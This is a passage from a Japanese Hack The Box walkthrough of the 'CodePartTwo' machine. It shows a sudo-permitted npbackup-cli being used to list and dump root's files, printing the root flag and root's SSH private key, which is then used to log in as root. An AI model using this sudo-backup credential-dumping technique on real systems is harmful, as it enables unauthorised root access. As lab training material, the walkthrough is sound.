2025-08-31 00:41:04,200 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-31 00:41:04,211 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-08-31 00:41:06,558 :: INFO :: Snapshots listed successfully
2025-08-31 00:41:06,560 :: INFO :: Recent snapshot 06292813 of 2025-08-31T00:32:38.415665939Z exists !
2025-08-31 00:41:06,560 :: INFO :: Most recent backup in repo default is from 2025-08-31 00:32:38.415665+00:00
2025-08-31 00:41:06,560 :: INFO :: Runner took 2.348852 seconds for has_recent_snapshot
2025-08-31 00:41:06,560 :: INFO :: No backup necessary
2025-08-31 00:41:06,561 :: INFO :: Runner took 2.350793 seconds for backup
2025-08-31 00:41:06,561 :: INFO :: Operation finished
2025-08-31 00:41:06,567 :: INFO :: ExecTime = 0:00:02.398916, finished, state is: success


(8) 「–ls」オプションを用いてバックアップを取得した/root配下のファイルの一覧を確認する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --ls
2025-08-31 00:33:01,291 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-31 00:33:01,320 :: INFO :: Loaded config 273A8B67 in /home/marco/1-npbackup.conf
2025-08-31 00:33:01,331 :: INFO :: Showing content of snapshot latest in repo default
2025-08-31 00:33:03,653 :: INFO :: Successfully listed snapshot latest content:
snapshot 06292813 of [/root] at 2025-08-31 00:32:38.415665939 +0000 UTC by root@codetwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2025-08-31 00:33:03,654 :: INFO :: Runner took 2.323065 seconds for ls
2025-08-31 00:33:03,654 :: INFO :: Operation finished
2025-08-31 00:33:03,663 :: INFO :: ExecTime = 0:00:02.374955, finished, state is: success.


(9) バックアップファイルの中にある/root/root.txtファイルの内容を確認すると、特権ユーザーのフラグファイルが表示される。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf -f --dump /root/root.txt
7c6065407c5f40205dddd14a4f4fc583


(10) rootのSSHの秘密鍵のファイル(/root/.ssh/id_rsa)の内容を確認する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf -f --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----


(11) rootのSSHの秘密鍵のファイルの内容をKali Linux上のファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ vi CodeTwo_id_rsa

【CodeTwo_id_rsa】
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----


(12) SSHを用いて攻撃対象のマシン(CodePartTwo)にrootユーザーでログインする。

※Kali Linux上で以下のコマンドを実行する。

$ chmod 0400 CodeTwo_id_rsa


$ ssh root@10.10.11.82 -i CodeTwo_id_rsa
  →root権限のプロンプト(#)が表示される。


(13) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


(14) 特権ユーザー用の具ラグファイルの内容を確認する。。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

# cat /root/root.txt 
7c6065407c5f40205dddd14a4f4fc583


関連記事(Hack The Box)

※後日作成予定。